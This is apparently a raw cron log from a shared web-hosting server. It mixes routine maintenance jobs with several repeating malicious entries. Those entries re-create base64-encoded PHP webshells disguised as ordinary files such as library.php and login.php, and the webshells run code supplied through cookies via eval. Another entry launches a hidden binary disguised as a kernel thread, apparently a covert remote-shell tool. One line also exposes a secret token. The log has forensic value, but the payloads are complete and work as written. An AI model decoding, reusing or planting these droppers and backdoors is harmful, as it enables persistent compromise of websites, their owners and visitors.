kX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:59:01 medusa CROND[4601]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 04:59:01 medusa CROND[4602]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 04:59:01 medusa CROND[4603]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:59:01 medusa CROND[4604]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:59:01 medusa CROND[4606]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 04:59:01 medusa CROND[4611]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:59:01 medusa CROND[4612]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 05:00:01 medusa CROND[6346]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 05:00:01 medusa CROND[6352]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 05:00:01 medusa CROND[6357]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Jun  7 05:00:01 medusa CROND[6365]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 05:00:01 medusa CROND[6366]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Jun  7 05:00:01 medusa CROND[6367]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 05:00:01 medusa CROND[6368]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Jun  7 05:00:01 medusa CROND[6369]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/monedas/cron.php >/dev/null 2>&1)
Jun  7 05:00:01 medusa CROND[6370]: (root) CMD (   bash -c "sleep $((RANDOM % 1800))" ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Jun  7 05:00:01 medusa CROND[6374]: (root) CMD (find /var/cpanel/php/sessions -type f -mtime +1 -delete)
Jun  7 05:00:01 medusa CROND[6371]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 05:00:01 medusa CROND[6377]: (root) CMD (bash -c "sleep ${RANDOM:0:2}m"; /usr/bin/flock -n /var/run/xray_tasks.cronlock /usr/sbin/cloudlinux-xray-manager autocomplete-tasks &> /dev/null)
Jun  7 05:00:01 medusa CROND[6383]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 05:00:01 medusa CROND[6385]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:00:01 medusa CROND[6387]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 05:00:01 medusa CROND[6388]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Jun  7 05:00:01 medusa CROND[6391]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 05:00:01 medusa CROND[6381]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 05:00:01 medusa CROND[6394]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Jun  7 05:00:01 medusa CROND[6389]: (root) CMD (/usr/bin/flock -n /var/run/cpapi_cache_upd_lock /opt/cloudlinux/venv/bin/python3 -c "from clcommon.cpapi import invalidate_cpapi_cache; invalidate_cpapi_cache()" &> /dev/null)
Jun  7 05:00:01 medusa CROND[6396]: (root) CMD (/nutscripts/check_mail_blocked.sh > /dev/null 2>&1)
Jun  7 05:00:01 medusa CROND[6397]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 05:00:01 medusa CROND[6406]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Jun  7 05:00:01 medusa CROND[6407]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Jun  7 05:00:01 medusa CROND[6408]: (roble) CMD ({ echo L3Vzci9iaW4vcGtpbGwgLTAgLVUxMTc3IGRlZnVuY3QgMj4vZGV2L251bGwgfHwgU0hFTEw9IFRFUk09eHRlcm0tMjU2Y29sb3IgR1NfQVJHUz0iLWsgL2hvbWU4L3JvYmxlLy5jb25maWcvaHRvcC9kZWZ1bmN0LmRhdCAtbGlxRCIgL3Vzci9iaW4vYmFzaCAtYyAiZXhlYyAtYSAnW21tX3BlcmNwdV93cV0nICcvaG9tZTgvcm9ibGUvLmNvbmZpZy9odG9wL2RlZnVuY3QnIiAyPi9kZXYvbnVsbAo=|base64 -d|bash;} 2>/dev/null #1b5b324a50524e47 >/dev/random # seed prng defunct-kernel)
Jun  7 05:00:01 medusa CROND[6384]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Jun  7 05:00:01 medusa CROND[6411]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 05:00:01 medusa CROND[6414]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 05:00:01 medusa CROND[6416]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 05:00:01 medusa CROND[6417]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:00:01 medusa CROND[6420]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 05:00:01 medusa CROND[6422]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:00:01 medusa CROND[6425]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:00:01 medusa CROND[6430]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 05:00:01 medusa CROND[6424]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Jun  7 05:00:01 medusa CROND[6428]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 05:00:01 medusa CROND[6426]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 05:00:01 medusa CROND[6398]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 05:00:01 medusa CROND[6410]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 05:01:01 medusa CROND[8267]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 05:01:01 medusa CROND[8304]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 05:01:01 medusa CROND[8320]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 05:01:01 medusa CROND[8325]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo 